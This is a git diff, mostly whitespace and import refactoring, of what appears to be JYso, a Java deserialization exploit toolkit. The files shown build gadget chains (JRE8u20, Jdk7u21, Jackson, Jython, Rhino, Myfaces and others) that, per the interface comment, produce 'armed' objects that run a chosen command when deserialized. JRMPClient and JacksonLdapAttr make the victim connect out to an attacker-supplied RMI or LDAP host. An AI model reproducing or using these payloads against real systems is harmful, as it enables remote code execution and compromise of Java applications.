b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java index f97e37e..8ce2552 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java @@ -50,8 +50,8 @@ public class JRE8u20 implements ObjectPayload { } public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { - TCObject obj = new TCObject(ser); - TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); + TCObject obj = new TCObject(ser); + TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); @@ -72,15 +72,15 @@ public class JRE8u20 implements ObjectPayload { } public Object getObject(String command) throws Exception { - Serialization ser = new Serialization(); - Object templates = makeTemplates(command); - HashMap map = new HashMap(); + Serialization ser = new Serialization(); + Object templates = makeTemplates(command); + HashMap map = new HashMap(); map.put("f5a5a608", templates); - TCObject handler = makeHandler(map, ser); - TCObject linkedHashset = new TCObject(ser); - TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); + TCObject handler = makeHandler(map, ser); + TCObject linkedHashset = new TCObject(ser); + TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); - TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); + TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); TCObject.ObjectData hashsetData = new TCObject.ObjectData(); hashsetData.addData(makeBeanContextSupport(handler, ser)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java index 4244b39..f3d9935 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java @@ -19,8 +19,8 @@ import java.util.Map; public class JRE8u20_2 implements ObjectPayload { public static Class newInvocationHandlerClass() throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + " os.defaultWriteObject();\n" + " }", clazz); @@ -35,7 +35,7 @@ public class JRE8u20_2 implements ObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); - Class ihClass = newInvocationHandlerClass(); + Class ihClass = newInvocationHandlerClass(); Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java index 1044cdb..7acc5cf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java @@ -48,8 +48,8 @@ public class JRMPClient implements ObjectPayload { public Object getObject(String command) throws Exception { String host; - int port; - int sep = command.indexOf(':'); + int port; + int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; @@ -57,9 +57,9 @@ public class JRMPClient implements ObjectPayload { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } - ObjID id = new ObjID(new Random().nextInt()); // RMI registry - TCPEndpoint te = new TCPEndpoint(host, port); - UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ Registry.class diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java index 1d3e4ed..74f302c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java @@ -16,7 +16,7 @@ public class JRMPClient_Activator implements ObjectPayload { @Override public Activator getObject(String command) throws Exception { String host; - int port, sep = command.indexOf(':'); + int port, sep = command.indexOf(':'); if (sep < 0) { port = (new Random()).nextInt(65535); host = command; @@ -24,11 +24,11 @@ public class JRMPClient_Activator implements ObjectPayload { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)).intValue(); } - ObjID id = new ObjID((new Random()).nextInt()); - TCPEndpoint te = new TCPEndpoint(host, port); - UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); - RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); return proxy; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java index 93321b2..6dab555 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java @@ -14,7 +14,7 @@ public class JRMPClient_Obj implements ObjectPayload { new String[]{"a"}, new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} ); - TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); + TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt); @@ -72,14 +72,14 @@ public class JSON1 implements ObjectPayload { AdvisedSupport as = new AdvisedSupport(); as.setTarget(tql); InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); - InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); - InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); - Map m = new HashMap(); + Map m = new HashMap(); m.put("t", cdsProxy); Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java index bf6daa8..badda6b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java @@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; @@ -31,7 +30,7 @@ public class Jackson1 implements ObjectPayload { POJONode node = new POJONode(tempImpl); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node); //清除堆栈信息 setFieldValue(val, "stackTrace", new StackTraceElement[0]); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java index 8164088..ae1467e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java @@ -2,18 +2,16 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; -import javax.xml.transform.Templates; - -import javax.management.BadAttributeValueExpException; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; @@ -24,22 +22,22 @@ public class Jackson2 implements ObjectPayload { Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public Object getObject(final String command) throws Exception { try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } catch (Exception EE) { } - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node); //清除堆栈信息 setFieldValue(val, "stackTrace", new StackTraceElement[0]); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index f2e2ed5..1d1df96 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -3,26 +3,23 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Gadgets; - -import org.springframework.aop.framework.AdvisedSupport; - +import com.qi4l.JYso.gadgets.utils.SuClassLoader; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisorChainFactory; import javax.xml.transform.Templates; - import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; -import java.lang.reflect.*; - import java.util.Vector; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; //Jackson2链的JDK17改造 @@ -46,7 +43,7 @@ public class Jackson3 implements ObjectPayload { Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } @@ -76,30 +73,10 @@ public class Jackson3 implements ObjectPayload { return list; } - public static Object getFieldValue(Object obj, String fieldName) throws Exception { - Field field = null; - Class c = obj.getClass(); - for (int i = 0; i < 5; i++) { - try { - field = c.getDeclaredField(fieldName); - } catch (NoSuchFieldException e) { - c = c.getSuperclass(); - } - } - field.setAccessible(true); - return field.get(obj); - } - - public static void setFieldValue(Object obj, String field, Object val) throws Exception { - Field dField = obj.getClass().getDeclaredField(field); - dField.setAccessible(true); - dField.set(obj, val); - } - @Override public Object getObject(final String command) throws Exception { try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); @@ -121,6 +98,4 @@ public class Jackson3 implements ObjectPayload { return getEventListenerList(node); } - - } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java index 3257af2..ddec4a4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java @@ -22,7 +22,7 @@ public class Jackson4 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); @@ -31,9 +31,9 @@ public class Jackson4 implements ObjectPayload { } POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - XObject xString = new XString("foo"); - HashMap map1 = new HashMap(); - HashMap map2 = new HashMap(); + XObject xString = new XString("foo"); + HashMap map1 = new HashMap(); + HashMap map2 = new HashMap(); map1.put("yy", node); map1.put("zZ", xString); map2.put("yy", xString); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java index 8bd9965..8baea27 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java @@ -24,17 +24,17 @@ public class JacksonLdapAttr implements ObjectPayload { throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); } - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); try { - Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); clazz_cons.setAccessible(true); - BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); - Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); + BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); + Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); bcu_fi.setAccessible(true); bcu_fi.set(la, command); CompositeName cn = new CompositeName(); @@ -43,9 +43,9 @@ public class JacksonLdapAttr implements ObjectPayload { Field rdn_fi = clazz.getDeclaredField("rdn"); rdn_fi.setAccessible(true); rdn_fi.set(la, cn); - POJONode node = new POJONode(la); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); + POJONode node = new POJONode(la); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); return val; diff --git a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java index 630780c..35b8f0b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java @@ -37,9 +37,9 @@ public class JavassistWeld1 implements ObjectPayload { final Object tpl; tpl = Gadgets.createTemplatesImpl(command); - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set s = new HashSet(); s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java index 428f857..fe9936c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java @@ -72,7 +72,7 @@ public class Jdk7u21 implements ObjectPayload { map.put(zeroHashCodeStr, "foo"); // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 - Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java index 33a9ace..8b5707c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java @@ -81,7 +81,7 @@ public class Jython1 implements ObjectPayload { // Helping consts and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; - String[] names = new String[]{"open", "write", "close", "execfile"}; + String[] names = new String[]{"open", "write", "close", "execfile"}; // Generating PyBytecode wrapper for our python bytecode PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); @@ -91,9 +91,9 @@ public class Jython1 implements ObjectPayload { PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); // Prepare Trigger Gadget - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[]{1, 1}; + Object[] queue = new Object[]{1, 1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; diff --git a/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java index 48963c4..7f56f4b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java +++ b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java @@ -2,12 +2,12 @@ package com.qi4l.JYso.gadgets; import java.net.URI; -public class LazySearchEnumeration implements ObjectPayload{ +public class LazySearchEnumeration implements ObjectPayload { @Override public Object getObject(String command) throws Exception { UtilFactory uf = new UtilFactory(); URI uri = new URI(command); String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ]))); + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[0], args[1]))); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java index 8bbec00..6fa24a1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java @@ -28,7 +28,7 @@ public class MozillaRhino1 implements ObjectPayload { } public Object getObject(String command) throws Exception { - Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); Reflections.setAccessible(nativeErrorConstructor); IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); @@ -37,21 +37,21 @@ public class MozillaRhino1 implements ObjectPayload { NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); - Method enterMethod = Context.class.getDeclaredMethod("enter"); - NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); idScriptableObject.setGetterOrSetter("name", 0, method, false); - Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); Reflections.setAccessible(getSlot); - Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); - Field getter = slot.getClass().getDeclaredField("getter"); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); Reflections.setAccessible(getter); - Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); Reflections.setAccessible(memberboxClassConstructor); Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); @@ -64,7 +64,7 @@ public class MozillaRhino1 implements ObjectPayload { idScriptableObject.setPrototype(nativeObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); - Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); Reflections.setAccessible(valField); valField.set(badAttributeValueExpException, idScriptableObject); return badAttributeValueExpException; diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java index 137927c..6b4cb4a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java @@ -55,7 +55,7 @@ public class MozillaRhino2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - ScriptableObject dummyScope = new Environment(); + ScriptableObject dummyScope = new Environment(); Map associatedValues = new Hashtable(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); @@ -67,7 +67,7 @@ public class MozillaRhino2 implements ObjectPayload { new Object[]{Context.class.getMethod("enter")}); ScriptableObject initContextScriptableObject = new Environment(); - Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Reflections.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Reflections.setFieldValue(slot, "getter", initContextMemberBox); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java index 5d48aaf..ce2ac39 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java @@ -62,15 +62,15 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { } public static Object makeExpressionPayload(String expr) throws Exception { - FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); - ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); - ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); - ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); return Gadgets.makeMap(e2, e); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java index 5eba505..83d4340 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java @@ -9,7 +9,7 @@ public class Myfaces2 implements ObjectPayload, DynamicDependencies { throw new IllegalArgumentException("Command format is: :"); } - String url = command.substring(0, sep); + String url = command.substring(0, sep); String className = command.substring(sep + 1); // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ diff --git a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java index aa7f458..0d2af0f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java @@ -1,57 +1,47 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.LdapServer; -import com.qi4l.JYso.gadgets.utils.JavaVersion; import org.reflections.Reflections; import java.lang.reflect.Modifier; -import java.util.Iterator; import java.util.Random; import java.util.Set; import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; public interface ObjectPayload { - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAnnInvHUniversalMethodImpl(); - } /* * return armed payload object to be serialized that will execute specified * command on deserialization */ - public T getObject(String command) throws Exception; + T getObject(String command) throws Exception; - public static class Utils { + class Utils { // get payload classes by classpath scanning - public static Set> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - for (Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { - Class pc = iterator.next(); - if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { - iterator.remove(); - } - } + public static Set>> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + @SuppressWarnings("unchecked") + final Set>> payloadTypes = + (Set>>) (Set) + reflections.getSubTypesOf(ObjectPayload.class); + payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers())); return payloadTypes; } @SuppressWarnings("unchecked") - public static Class getPayloadClass(final String className) { - Class clazz = null; + public static Class> getPayloadClass(final String className) { + Class> clazz = null; try { - clazz = (Class) Class.forName(className); + clazz = (Class>) Class.forName(className); } catch (Exception ignored) { } if (clazz == null) { try { - return clazz = (Class) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); - }catch (NoClassDefFoundError e) { - clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); - } - catch (Exception ignored) { + return (Class>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } catch (NoClassDefFoundError | Exception e) { clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); } } @@ -62,38 +52,21 @@ public interface ObjectPayload { } - @SuppressWarnings("unchecked") - public static void releasePayload(ObjectPayload payload, Object object) throws Exception { + public static void releasePayload(ObjectPayload payload, Object object) throws Exception { if (payload instanceof ReleaseableObjectPayload) { - ((ReleaseableObjectPayload) payload).release(object); + ((ReleaseableObjectPayload) payload).release(object); } } - public static void releasePayload(String payloadType, Object payloadObject) { - final Class payloadClass = getPayloadClass(payloadType); - if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { - throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); - - } - - try { - final ObjectPayload payload = payloadClass.newInstance(); - 